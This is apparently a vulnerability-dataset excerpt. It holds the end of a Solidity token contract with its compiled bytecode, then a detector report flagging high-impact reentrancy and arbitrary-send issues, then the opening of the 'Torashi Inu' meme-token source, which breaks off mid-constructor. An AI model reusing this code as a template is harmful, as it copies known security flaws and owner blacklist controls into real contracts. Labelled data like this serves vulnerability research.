(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610330578063c3014d5414610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612cc3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127ed565b61042a565b60405161016d9190612ca8565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612e45565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061279a565b610458565b6040516101d59190612ca8565b60405180910390f35b3480156101ea57600080fd5b506101f3610531565b6040516102009190612eba565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612876565b61053a565b005b34801561023e57600080fd5b506102476105ec565b005b34801561025557600080fd5b50610270600480360381019061026b9190612700565b61065e565b60405161027d9190612e45565b60405180910390f35b34801561029257600080fd5b5061029b6106af565b005b3480156102a957600080fd5b506102b2610802565b6040516102bf9190612bda565b60405180910390f35b3480156102d457600080fd5b506102dd61082b565b6040516102ea9190612cc3565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906127ed565b610868565b6040516103279190612ca8565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061282d565b610886565b005b34801561036557600080fd5b50610380600480360381019061037b91906128d0565b6109b0565b005b34801561038e57600080fd5b50610397610a8f565b005b3480156103a557600080fd5b506103ae610b09565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061275a565b611063565b6040516103e49190612e45565b60405180910390f35b60606040518060400160405280600481526020017f6e65726600000000000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110ea565b84846110f2565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104658484846112bd565b610526846104716110ea565b6105218560405180606001604052806028815260200161359860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d76110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7c9092919063ffffffff16565b6110f2565b600190509392505050565b60006009905090565b6105426110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612d85565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661062d6110ea565b73ffffffffffffffffffffffffffffffffffffffff161461064d57600080fd5b600047905061065b81611ae0565b50565b60006106a8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdb565b9050919050565b6106b76110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90612d85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e45524600000000000000000000000000000000000000000000000000000000815250905090565b600061087c6108756110ea565b84846112bd565b6001905092915050565b61088e6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091290612d85565b60405180910390fd5b60005b81518110156109ac576001600a60008484815181106109405761093f613202565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109a49061315b565b91505061091e565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109f16110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610a1157600080fd5b60008111610a1e57600080fd5b610a4d612710610a3f83670de0b6b3a7640000611c4990919063ffffffff16565b611cc490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610a849190612e45565b60405180910390a150565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ad06110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610af057600080fd5b6000610afb3061065e565b9050610b0681611d0e565b50565b610b116110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612d85565b60405180910390fd5b600f60149054906101000a900460ff1615610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590612e05565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc357600080fd5b505afa158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfb919061272d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5d57600080fd5b505afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d95919061272d565b6040518363ffffffff1660e01b8152600401610db2929190612bf5565b602060405180830381600087803b158015610dcc57600080fd5b505af1158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e04919061272d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8d3061065e565b600080610e98610802565b426040518863ffffffff1660e01b8152600401610eba96959493929190612c47565b6060604051808303818588803b158015610ed357600080fd5b505af1158015610ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0c91906128fd565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506658d15e176280006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d929190612c1e565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906128a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612de5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612d25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612e45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139490612ce5565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612da5565b60405180910390fd5b6113e8610802565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114565750611426610802565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600f60179054906101000a900460ff1615611689573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114d857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115325750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561168857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d26110ea565b73ffffffffffffffffffffffffffffffffffffffff1614806116485750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116306110ea565b73ffffffffffffffffffffffffffffffffffffffff16145b611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90612e25565b60405180910390fd5b5b5b60105481111561169857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61174557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117f05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561185e5750600f60179054906101000a900460ff165b156118ff5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ae57600080fd5b6014426118bb9190612f7b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190a3061065e565b9050600f60159054906101000a900460ff161580156119775750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600f60169054906101000a900460ff165b156119b75761199d81611d0e565b600047905060008111156119b5576119b447611ae0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57600090505b611a7684848484611f96565b50505050565b6000838311158290611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abb9190612cc3565b60405180910390fd5b5060008385611ad3919061305c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b30600284611cc490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b5b573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bac600284611cc490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd7573d6000803e3d6000fd5b5050565b6000600654821115611c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1990612d05565b60405180910390fd5b6000611c2c611fc3565b9050611c418184611cc490919063ffffffff16565b915050919050565b600080831415611c5c5760009050611cbe565b60008284611c6a9190613002565b9050828482611c799190612fd1565b14611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612d65565b60405180910390fd5b809150505b92915050565b6000611d0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fee565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4657611d45613231565b5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611d8c57611d8b613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e2e57600080fd5b505afa158015611e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e66919061272d565b81600181518110611e7a57611e79613202565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ee130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f45959493929190612e60565b600060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80611fa457611fa3612051565b5b611faf848484612082565b80611fbd57611fbc61224d565b5b50505050565b6000806000611fd061225f565b91509150611fe78183611cc490919063ffffffff16565b9250505090565b60008083118290612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c9190612cc3565b60405180910390fd5b50600083856120449190612fd1565b9050809150509392505050565b600060085414801561206557506000600954145b1561206f57612080565b600060088190555060006009819055505b565b600080600080600080612094876122be565b9550955095509550955095506120f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d3816123ce565b6121dd848361248b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161223a9190612e45565b60405180910390a3505050505050505050565b60066008819055506002600981905550565b600080600060065490506000670de0b6b3a76400009050612293670de0b6b3a7640000600654611cc490919063ffffffff16565b8210156122b157600654670de0b6b3a76400009350935050506122ba565b81819350935050505b9091565b60008060008060008060008060006122db8a6008546009546124c5565b92509250925060006122eb611fc3565b905060008060006122fe8e87878761255b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061236883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7c565b905092915050565b600080828461237f9190612f7b565b9050838110156123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90612d45565b60405180910390fd5b8091505092915050565b60006123d8611fc3565b905060006123ef8284611c4990919063ffffffff16565b905061244381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124a08260065461232690919063ffffffff16565b6006819055506124bb8160075461237090919063ffffffff16565b6007819055505050565b6000806000806124f160646124e3888a611c4990919063ffffffff16565b611cc490919063ffffffff16565b9050600061251b606461250d888b611c4990919063ffffffff16565b611cc490919063ffffffff16565b9050600061254482612536858c61232690919063ffffffff16565b61232690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125748589611c4990919063ffffffff16565b9050600061258b8689611c4990919063ffffffff16565b905060006125a28789611c4990919063ffffffff16565b905060006125cb826125bd858761232690919063ffffffff16565b61232690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125f76125f284612efa565b612ed5565b9050808382526020820190508285602086028201111561261a57612619613265565b5b60005b8581101561264a57816126308882612654565b84526020840193506020830192505060018101905061261d565b5050509392505050565b60008135905061266381613552565b92915050565b60008151905061267881613552565b92915050565b600082601f83011261269357612692613260565b5b81356126a38482602086016125e4565b91505092915050565b6000813590506126bb81613569565b92915050565b6000815190506126d081613569565b92915050565b6000813590506126e581613580565b92915050565b6000815190506126fa81613580565b92915050565b6000602082840312156127165761271561326f565b5b600061272484828501612654565b91505092915050565b6000602082840312156127435761274261326f565b5b600061275184828501612669565b91505092915050565b600080604083850312156127715761277061326f565b5b600061277f85828601612654565b925050602061279085828601612654565b9150509250929050565b6000806000606084860312156127b3576127b261326f565b5b60006127c186828701612654565b93505060206127d286828701612654565b92505060406127e3868287016126d6565b9150509250925092565b600080604083850312156128045761280361326f565b5b600061281285828601612654565b9250506020612823858286016126d6565b9150509250929050565b6000602082840312156128435761284261326f565b5b600082013567ffffffffffffffff8111156128615761286061326a565b5b61286d8482850161267e565b91505092915050565b60006020828403121561288c5761288b61326f565b5b600061289a848285016126ac565b91505092915050565b6000602082840312156128b9576128b861326f565b5b60006128c7848285016126c1565b91505092915050565b6000602082840312156128e6576128e561326f565b5b60006128f4848285016126d6565b91505092915050565b6000806000606084860312156129165761291561326f565b5b6000612924868287016126eb565b9350506020612935868287016126eb565b9250506040612946868287016126eb565b9150509250925092565b600061295c8383612968565b60208301905092915050565b61297181613090565b82525050565b61298081613090565b82525050565b600061299182612f36565b61299b8185612f59565b93506129a683612f26565b8060005b838110156129d75781516129be8882612950565b97506129c983612f4c565b9250506001810190506129aa565b5085935050505092915050565b6129ed816130a2565b82525050565b6129fc816130e5565b82525050565b6000612a0d82612f41565b612a178185612f6a565b9350612a278185602086016130f7565b612a3081613274565b840191505092915050565b6000612a48602383612f6a565b9150612a5382613285565b604082019050919050565b6000612a6b602a83612f6a565b9150612a76826132d4565b604082019050919050565b6000612a8e602283612f6a565b9150612a9982613323565b604082019050919050565b6000612ab1601b83612f6a565b9150612abc82613372565b602082019050919050565b6000612ad4602183612f6a565b9150612adf8261339b565b604082019050919050565b6000612af7602083612f6a565b9150612b02826133ea565b602082019050919050565b6000612b1a602983612f6a565b9150612b2582613413565b604082019050919050565b6000612b3d602583612f6a565b9150612b4882613462565b604082019050919050565b6000612b60602483612f6a565b9150612b6b826134b1565b604082019050919050565b6000612b83601783612f6a565b9150612b8e82613500565b602082019050919050565b6000612ba6601183612f6a565b9150612bb182613529565b602082019050919050565b612bc5816130ce565b82525050565b612bd4816130d8565b82525050565b6000602082019050612bef6000830184612977565b92915050565b6000604082019050612c0a6000830185612977565b612c176020830184612977565b9392505050565b6000604082019050612c336000830185612977565b612c406020830184612bbc565b9392505050565b600060c082019050612c5c6000830189612977565b612c696020830188612bbc565b612c7660408301876129f3565b612c8360608301866129f3565b612c906080830185612977565b612c9d60a0830184612bbc565b979650505050505050565b6000602082019050612cbd60008301846129e4565b92915050565b60006020820190508181036000830152612cdd8184612a02565b905092915050565b60006020820190508181036000830152612cfe81612a3b565b9050919050565b60006020820190508181036000830152612d1e81612a5e565b9050919050565b60006020820190508181036000830152612d3e81612a81565b9050919050565b60006020820190508181036000830152612d5e81612aa4565b9050919050565b60006020820190508181036000830152612d7e81612ac7565b9050919050565b60006020820190508181036000830152612d9e81612aea565b9050919050565b60006020820190508181036000830152612dbe81612b0d565b9050919050565b60006020820190508181036000830152612dde81612b30565b9050919050565b60006020820190508181036000830152612dfe81612b53565b9050919050565b60006020820190508181036000830152612e1e81612b76565b9050919050565b60006020820190508181036000830152612e3e81612b99565b9050919050565b6000602082019050612e5a6000830184612bbc565b92915050565b600060a082019050612e756000830188612bbc565b612e8260208301876129f3565b8181036040830152612e948186612986565b9050612ea36060830185612977565b612eb06080830184612bbc565b9695505050505050565b6000602082019050612ecf6000830184612bcb565b92915050565b6000612edf612ef0565b9050612eeb828261312a565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1557612f14613231565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f86826130ce565b9150612f91836130ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc657612fc56131a4565b5b828201905092915050565b6000612fdc826130ce565b9150612fe7836130ce565b925082612ff757612ff66131d3565b5b828204905092915050565b600061300d826130ce565b9150613018836130ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613051576130506131a4565b5b828202905092915050565b6000613067826130ce565b9150613072836130ce565b925082821015613085576130846131a4565b5b828203905092915050565b600061309b826130ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130f0826130ce565b9050919050565b60005b838110156131155780820151818401526020810190506130fa565b83811115613124576000848401525b50505050565b61313382613274565b810181811067ffffffffffffffff8211171561315257613151613231565b5b80604052505050565b6000613166826130ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613199576131986131a4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355b81613090565b811461356657600080fd5b50565b613572816130a2565b811461357d57600080fd5b50565b613589816130ce565b811461359457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220069ba7e855baf0759f1096f3ebb0e2955eea5352068415acc046d920ee06f12264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,240 |
0x4b27A41E1Bf26C9cDB2397F0F3aa46E7897C1e4D
|
/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
// TELEGRAM ->>>>>>>>> https://t.me/torashiinu
//SPDX-License-Identifier: UNLICENSED
//
//████████╗░█████╗░██████╗░░█████╗░░██████╗██╗░░██╗██╗
//╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██║░░██║██║
//░░░██║░░░██║░░██║██████╔╝███████║╚█████╗░███████║██║
//░░░██║░░░██║░░██║██╔══██╗██╔══██║░╚═══██╗██╔══██║██║
//░░░██║░░░╚█████╔╝██║░░██║██║░░██║██████╔╝██║░░██║██║
//░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Torashi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0x851e662eeaD66F2Ef76Eb92d0c3bfa8910Db57a7);
address payable private _feeAddrWallet2 = payable(0x851e662eeaD66F2Ef76Eb92d0c3bfa8910Db57a7);
string private constant _name = "Torashi Inu";
string private constant _symbol = "TORASHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
